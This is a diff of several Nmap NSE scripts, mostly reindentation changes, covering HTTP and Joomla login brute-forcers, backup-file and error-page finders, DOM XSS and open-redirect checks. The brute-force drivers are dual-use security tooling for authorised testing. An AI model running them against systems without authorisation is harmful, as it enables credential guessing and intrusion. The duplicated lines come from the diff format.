local limit, limit2, matches = regex:match(body)
if limit ~= nil then
local affiliateid = matches["id"]
result[#result + 1] = name .. ": " .. affiliateid
add_key_to_registry(host, port, url_path, result[#result])
end
end
return stdnse.format_output(true, result)
return stdnse.format_output(true, result)
end
--- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
local function postaction()
local siteids = {}
local output = {}
local siteids = {}
local output = {}
-- create a reverse mapping affiliate ids -> site(s)
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
for _, id in ipairs(ids) do
if not siteids[id] then
siteids[id] = {}
end
-- discard duplicate IPs
if not stdnse.contains(siteids[id], site) then
table.insert(siteids[id], site)
end
end
end
-- create a reverse mapping affiliate ids -> site(s)
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
for _, id in ipairs(ids) do
if not siteids[id] then
siteids[id] = {}
end
-- discard duplicate IPs
if not stdnse.contains(siteids[id], site) then
table.insert(siteids[id], site)
end
end
end
-- look for sites using the same affiliate id
for id, sites in pairs(siteids) do
if #siteids[id] > 1 then
local str = id .. ' used by:'
for _, site in ipairs(siteids[id]) do
str = str .. '\n ' .. site
end
table.insert(output, str)
end
end
-- look for sites using the same affiliate id
for id, sites in pairs(siteids) do
if #siteids[id] > 1 then
local str = id .. ' used by:'
for _, site in ipairs(siteids[id]) do
str = str .. '\n ' .. site
end
table.insert(output, str)
end
end
if #output > 0 then
return 'Possible related sites\n' .. table.concat(output, '\n')
end
if #output > 0 then
return 'Possible related sites\n' .. table.concat(output, '\n')
end
end
local ActionsTable = {
-- portrule: get affiliate ids
portrule = portaction,
-- postrule: look for related sites (same affiliate ids)
postrule = postaction
-- portrule: get affiliate ids
portrule = portaction,
-- postrule: look for related sites (same affiliate ids)
postrule = postaction
}
-- execute the action function corresponding to the current rule

View File

@@ -47,107 +47,107 @@ categories = {"discovery", "safe"}
portrule = shortport.http
local function backupNames(filename)
local function createBackupNames()
local dir = filename:match("^(.*/)") or ""
local basename, suffix = filename:match("([^/]*)%.(.*)$")
local function createBackupNames()
local dir = filename:match("^(.*/)") or ""
local basename, suffix = filename:match("([^/]*)%.(.*)$")
local backup_names = {}
if basename then
table.insert(backup_names, "{basename}.bak") -- generic bak file
end
if basename and suffix then
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
local backup_names = {}
if basename then
table.insert(backup_names, "{basename}.bak") -- generic bak file
end
if basename and suffix then
table.insert(backup_names, "{basename}.{suffix}~") -- emacs
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
end
end
local replace_patterns = {
["{filename}"] = filename,
["{basename}"] = basename,
["{suffix}"] = suffix,
}
local replace_patterns = {
["{filename}"] = filename,
["{basename}"] = basename,
["{suffix}"] = suffix,
}
for _, name in ipairs(backup_names) do
local backup_name = name
for p, v in pairs(replace_patterns) do
backup_name = backup_name:gsub(p,v)
end
coroutine.yield(dir .. backup_name)
end
end
return coroutine.wrap(createBackupNames)
for _, name in ipairs(backup_names) do
local backup_name = name
for p, v in pairs(replace_patterns) do
backup_name = backup_name:gsub(p,v)
end
coroutine.yield(dir .. backup_name)
end
end
return coroutine.wrap(createBackupNames)
end
action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000)
local res, res404, known404 = http.identify_404(host, port)
if not res then
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
return nil
end
local res, res404, known404 = http.identify_404(host, port)
if not res then
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
return nil
end
local backups = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local backups = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
-- parse the returned url
local parsed = url.parse(tostring(r.url))
-- parse the returned url
local parsed = url.parse(tostring(r.url))
-- handle case where only hostname was provided
if ( parsed.path == nil ) then
parsed.path = '/'
end
-- handle case where only hostname was provided
if ( parsed.path == nil ) then
parsed.path = '/'
end
-- only pursue links that have something looking as a file
if ( parsed.path:match(".*%.*.$") ) then
-- iterate over possible backup files
for link in backupNames(parsed.path) do
local host, port = parsed.host, parsed.port
-- only pursue links that have something looking as a file
if ( parsed.path:match(".*%.*.$") ) then
-- iterate over possible backup files
for link in backupNames(parsed.path) do
local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
-- the url.escape doesn't work here as it encodes / to %2F
-- which results in 400 bad request, so we simple do a space
-- replacement instead.
local escaped_link = link:gsub(" ", "%%20")
-- the url.escape doesn't work here as it encodes / to %2F
-- which results in 400 bad request, so we simple do a space
-- replacement instead.
local escaped_link = link:gsub(" ", "%%20")
-- attempt a HEAD-request against each of the backup files
local response = http.head(host, port, escaped_link)
if http.page_exists(response, res404, known404, escaped_link, true) then
if ( not(parsed.port) ) then
table.insert(backups,
("%s://%s%s"):format(parsed.scheme, host, link))
else
table.insert(backups,
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
end
end
end
end
end
-- attempt a HEAD-request against each of the backup files
local response = http.head(host, port, escaped_link)
if http.page_exists(response, res404, known404, escaped_link, true) then
if ( not(parsed.port) ) then
table.insert(backups,
("%s://%s%s"):format(parsed.scheme, host, link))
else
table.insert(backups,
("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
end
end
end
end
end
if ( #backups > 0 ) then
backups.name = crawler:getLimitations()
return stdnse.format_output(true, backups)
end
if ( #backups > 0 ) then
backups.name = crawler:getLimitations()
return stdnse.format_output(true, backups)
end
end

View File

@@ -61,19 +61,19 @@ Driver = {
return o
end,
connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion.
return true
end,
connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion.
return true
end,
login = function( self, username, password )
local response
local opts_table
if not self.digestauth then
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successful
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successful
opts_table = { auth = { username = username, password = password }, no_cache = true }
else
opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true }
@@ -86,47 +86,47 @@ Driver = {
return false, err
end
-- Checking for ~= 401 *should* work to
-- but gave me a number of false positives last time I tried.
-- We decided to change it to ~= 4xx.
if ( response.status < 400 or response.status > 499 ) then
if ( not( nmap.registry['credentials'] ) ) then
nmap.registry['credentials'] = {}
end
if ( not( nmap.registry.credentials['http'] ) ) then
nmap.registry.credentials['http'] = {}
end
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID)
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Checking for ~= 401 *should* work to
-- but gave me a number of false positives last time I tried.
-- We decided to change it to ~= 4xx.
if ( response.status < 400 or response.status > 499 ) then
if ( not( nmap.registry['credentials'] ) ) then
nmap.registry['credentials'] = {}
end
if ( not( nmap.registry.credentials['http'] ) ) then
nmap.registry.credentials['http'] = {}
end
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID)
end
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
return true
end,
check = function( self )
disconnect = function( self )
return true
end,
end,
check = function( self )
return true
end,
}
action = function( host, port )
local status, result
local path = stdnse.get_script_args("http-brute.path") or "/"
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
local status, result
local path = stdnse.get_script_args("http-brute.path") or "/"
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
if ( not(path) ) then
return " \n ERROR: No path was specified (see http-brute.path)"
end
if ( not(path) ) then
return " \n ERROR: No path was specified (see http-brute.path)"
end
local response = http.generic_request( host, port, method, path, { no_cache = true } )
local response = http.generic_request( host, port, method, path, { no_cache = true } )
if ( response.status ~= 401 ) then
return (" \n Path \"%s\" does not require authentication"):format(path)
end
if ( response.status ~= 401 ) then
return (" \n Path \"%s\" does not require authentication"):format(path)
end
-- check if digest auth is required
local digestauth = false

View File

@@ -96,7 +96,7 @@ action = function(host, port)
local min, max, page_test
local bulk_start = stdnse.clock_ms()
for i = 1,tries do
local start = stdnse.clock_ms()
local start = stdnse.clock_ms()
if ( url_page:match("%?") ) then
page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
else
@@ -121,7 +121,7 @@ action = function(host, port)
output = tab.new(4)
tab.addrow(output, "page", "avg", "min", "max")
for _, entry in ipairs(results) do
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
end
output = "\n" .. tab.dump(output)
else

View File

@@ -57,100 +57,100 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- the related comment.
local getLineNumber = function(body, comment)
local partofresponse = body:find(comment, 1, true)
partofresponse = body:sub(0, partofresponse)
local _, count = string.gsub(partofresponse, "\n", "\n")
local partofresponse = body:find(comment, 1, true)
partofresponse = body:sub(0, partofresponse)
local _, count = string.gsub(partofresponse, "\n", "\n")
return count + 1
return count + 1
end
action = function(host, port)
local context = stdnse.get_script_args("http-comments-displayer.context")
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
local context = stdnse.get_script_args("http-comments-displayer.context")
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
local comments = {}
local comments = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then
return
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
crawler:set_timeout(10000)
if context then
if (tonumber(context) > 100) then
context = 100
end
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
for i, pattern in ipairs(PATTERNS) do
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
end
if context then
if (tonumber(context) > 100) then
context = 100
end
local index, k, target, response, path
while (true) do
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
for i, pattern in ipairs(PATTERNS) do
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
end
end
if singlepages then
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
local index, k, target, response, path
while (true) do
if singlepages then
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
for i, pattern in ipairs(PATTERNS) do
for c in string.gmatch(response.body, pattern) do
local linenumber = getLineNumber(response.body, c)
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
end
end
if (index) then
index = index + 1
else
index = 1
end
break
end
end
response = r.response
path = tostring(r.url)
end
-- If the table is empty.
if next(comments) == nil then
return "Couldn't find any comments."
if response.body then
for i, pattern in ipairs(PATTERNS) do
for c in string.gmatch(response.body, pattern) do
local linenumber = getLineNumber(response.body, c)
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
end
end
if (index) then
index = index + 1
else
index = 1
end
end
-- Create a nice output.
local results = {}
for c, _ in pairs(comments) do
table.insert(results, {_, {{c}}})
end
end
results.name = crawler:getLimitations()
-- If the table is empty.
if next(comments) == nil then
return "Couldn't find any comments."
end
return stdnse.format_output(true, results)
-- Create a nice output.
local results = {}
for c, _ in pairs(comments) do
table.insert(results, {_, {{c}}})
end
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end

View File

@@ -78,70 +78,70 @@ end
action = function(host, port)
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
local rapid = stdnse.get_script_args("http-devframework.rapid")
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
local rapid = stdnse.get_script_args("http-devframework.rapid")
local d
local d
-- Run rapidDetect() callbacks.
for f, method in pairs(tools) do
d = method["rapidDetect"](host, port)
-- Run rapidDetect() callbacks.
for f, method in pairs(tools) do
d = method["rapidDetect"](host, port)
if d then
return d
end
end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
crawler:set_timeout(10000)
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.body) then
-- Run consumingDetect() callbacks.
for f, method in pairs(tools) do
d = method["consumingDetect"](response.body, path)
if d then
return d
return d
end
end
end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
crawler:set_timeout(10000)
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.body) then
-- Run consumingDetect() callbacks.
for f, method in pairs(tools) do
d = method["consumingDetect"](response.body, path)
if d then
return d
end
end
end
return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
end
end
end

View File

@@ -67,84 +67,84 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port)
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
local domxss = {}
local domxss = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then
return
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
crawler:set_timeout(10000)
local index, k, target, response, path
while (true) do
local index, k, target, response, path
while (true) do
if singlepages then
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
if singlepages then
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
for _, fp in ipairs(JS_FUNC_PATTERNS) do
for i in string.gmatch(response.body, fp) do
for _, cp in ipairs(JS_CALLS_PATTERNS) do
if string.find(i, cp) then
if not domxss[i] then
domxss[i] = {path}
else
table.insert(domxss[i], ", " .. path)
end
end
end
end
end
if (index) then
index = index + 1
else
index = 1
end
break
end
end
response = r.response
path = tostring(r.url)
end
-- If the table is empty.
if next(domxss) == nil then
return "Couldn't find any DOM based XSS."
if response.body then
for _, fp in ipairs(JS_FUNC_PATTERNS) do
for i in string.gmatch(response.body, fp) do
for _, cp in ipairs(JS_CALLS_PATTERNS) do
if string.find(i, cp) then
if not domxss[i] then
domxss[i] = {path}
else
table.insert(domxss[i], ", " .. path)
end
end
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
local results = {}
for x, _ in pairs(domxss) do
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
end
end
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
-- If the table is empty.
if next(domxss) == nil then
return "Couldn't find any DOM based XSS."
end
results.name = crawler:getLimitations()
local results = {}
for x, _ in pairs(domxss) do
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
end
return stdnse.format_output(true, results)
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end

View File

@@ -47,86 +47,86 @@ local httpspider = require "httpspider"
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
local function compare(a, b)
return a[1] < b[1]
return a[1] < b[1]
end
local function inTable(tbl, item)
item = tostring(item)
for key, value in pairs(tbl) do
if value == tostring(item) then
return true
end
item = tostring(item)
for key, value in pairs(tbl) do
if value == tostring(item) then
return true
end
return nil
end
return nil
end
action = function(host, port)
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
crawler:set_timeout(10000)
local errors = {}
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
crawler:set_timeout(10000)
local errors = {}
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.status >= 400 and not errcodes) or
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
table.insert(errors, { tostring(response.status), path })
end
response = r.response
path = tostring(r.url)
if (response.status >= 400 and not errcodes) or
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
table.insert(errors, { tostring(response.status), path })
end
-- If the table is empty.
if next(errors) == nil then
return "Couldn't find any error pages."
end
end
table.sort(errors, compare)
-- If the table is empty.
if next(errors) == nil then
return "Couldn't find any error pages."
end
-- Create a nice output.
local results = {}
for c, _ in pairs(errors) do
table.insert(results, "\nError Code: " .. _[1])
table.insert(results, "\t" .. _[2])
end
table.sort(errors, compare)
table.insert(results, 1, "Found the following error pages: ")
-- Create a nice output.
local results = {}
for c, _ in pairs(errors) do
table.insert(results, "\nError Code: " .. _[1])
table.insert(results, "\t" .. _[2])
end
results.name = crawler:getLimitations()
table.insert(results, 1, "Found the following error pages: ")
return stdnse.format_output(true, results)
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end

View File

@@ -37,9 +37,9 @@ Joomla's default uri and form names:
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
-- @args http-joomla-brute.hostname Virtual Hostname Header
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
-- username used to authenticate. Default: username
-- username used to authenticate. Default: username
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. Default: passwd
-- password used to authenticate. Default: passwd
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
--
-- Other useful arguments when using this script are:
@@ -79,19 +79,19 @@ Driver = {
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
o.port = port
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
o.options = options
o.options = options
return o
end,
end,
connect = function( self )
return true
end,
connect = function( self )
return true
end,
login = function( self, username, password )
login = function( self, username, password )
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
{ [self.options.uservar] = username, [self.options.passvar] = password,
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
{ [self.options.uservar] = username, [self.options.passvar] = password,
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
stdnse.print_debug(2, "Response:\n%s", response.body)
@@ -100,22 +100,22 @@ Driver = {
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
end,
disconnect = function( self )
return true
end,
disconnect = function( self )
return true
end,
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
if response.body then
local _
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
local _
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
end
if security_token then
stdnse.print_debug(2, "Security Token found:%s", security_token)
@@ -124,12 +124,12 @@ Driver = {
return false
end
return true
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
end
end
return false
end
}
---

View File

@@ -55,7 +55,7 @@ categories = {"default", "safe"}
-- We don't report these methods except with verbosity.
local UNINTERESTING_METHODS = {
"GET", "HEAD", "POST", "OPTIONS"
"GET", "HEAD", "POST", "OPTIONS"
}
local filter_out, merge_headers
@@ -63,92 +63,92 @@ local filter_out, merge_headers
portrule = shortport.http
action = function(host, port)
local url_path, retest_http_methods
local response, methods, options_status_line, output
local url_path, retest_http_methods
local response, methods, options_status_line, output
-- default vaules for script-args
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
-- default vaules for script-args
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
response = http.generic_request(host, port, "OPTIONS", url_path)
if not response.status then
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
return
end
-- Cache in case retest is requested.
options_status_line = response["status-line"]
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
response = http.generic_request(host, port, "OPTIONS", url_path)
if not response.status then
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
return
end
-- Cache in case retest is requested.
options_status_line = response["status-line"]
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
if not (response.header["allow"] or response.header["public"]) then
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
end
if not (response.header["allow"] or response.header["public"]) then
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
end
-- The Public header is defined in RFC 2068, but was removed in its
-- successor RFC 2616. It is implemented by at least IIS 6.0.
methods = merge_headers(response.header, {"Allow", "Public"})
-- The Public header is defined in RFC 2068, but was removed in its
-- successor RFC 2616. It is implemented by at least IIS 6.0.
methods = merge_headers(response.header, {"Allow", "Public"})
output = {}
output = {}
if nmap.verbosity() > 0 then
output[#output + 1] = stdnse.strjoin(" ", methods)
end
if nmap.verbosity() > 0 then
output[#output + 1] = stdnse.strjoin(" ", methods)
end
local interesting = filter_out(methods, UNINTERESTING_METHODS)
if #interesting > 0 then
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
end
local interesting = filter_out(methods, UNINTERESTING_METHODS)
if #interesting > 0 then
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
end
-- retest http methods if requested
if retest_http_methods then
local _
for _, method in ipairs(methods) do
local str
if method == "OPTIONS" then
-- Use the saved value.
str = options_status_line
else
response = http.generic_request(host, port, method, url_path)
if not response.status then
str = "Error getting response"
else
str = response["status-line"]
end
end
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
end
end
-- retest http methods if requested
if retest_http_methods then
local _
for _, method in ipairs(methods) do
local str
if method == "OPTIONS" then
-- Use the saved value.
str = options_status_line
else
response = http.generic_request(host, port, method, url_path)
if not response.status then
str = "Error getting response"
else
str = response["status-line"]
end
end
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
end
end
return #output > 0 and stdnse.strjoin("\n", output) or nil
return #output > 0 and stdnse.strjoin("\n", output) or nil
end
function filter_out(t, filter)
local result = {}
local _, e, f
for _, e in ipairs(t) do
if not stdnse.contains(filter, e) then
result[#result + 1] = e
end
end
return result
local result = {}
local _, e, f
for _, e in ipairs(t) do
if not stdnse.contains(filter, e) then
result[#result + 1] = e
end
end
return result
end
-- Split header field contents on commas and return a table without duplicates.
function merge_headers(headers, names)
local seen = {}
local result = {}
local seen = {}
local result = {}
for _, name in ipairs(names) do
name = string.lower(name)
if headers[name] then
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
if not seen[v] then
result[#result + 1] = v
end
seen[v] = true
end
end
end
for _, name in ipairs(names) do
name = string.lower(name)
if headers[name] then
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
if not seen[v] then
result[#result + 1] = v
end
seen[v] = true
end
end
end
return result
return result
end

View File

@@ -44,94 +44,94 @@ categories = {"discovery", "intrusive"}
portrule = shortport.http
local function dbg(str,...)
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
stdnse.print_debug(2,"http-open-redirect:"..str, ...)
end
local function dbgt(tbl)
for k,v in pairs(tbl) do
dbg(" %s = %s " , tostring(k), tostring(v))
end
for k,v in pairs(tbl) do
dbg(" %s = %s " , tostring(k), tostring(v))
end
end
local function getHostPort(parsed)
local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
return host, port
local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
return host, port
end
local function isRedirect(status)
return status >= 300 and status <=399
return status >= 300 and status <=399
end
-- This function checks if any query parameter was used as a forward destination
-- @return false or a new query string to test
local function checkLocationEcho(query, destination)
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
local q = url.parse_query(query);
-- Check the values (and keys) and see if they are reflected in the location header
for k,v in pairs(q) do
local s,f = string.find(destination, v)
if s == 1 then
-- Build a new URL
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
return url.build_query(q)
end
end
return false;
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
local q = url.parse_query(query);
-- Check the values (and keys) and see if they are reflected in the location header
for k,v in pairs(q) do
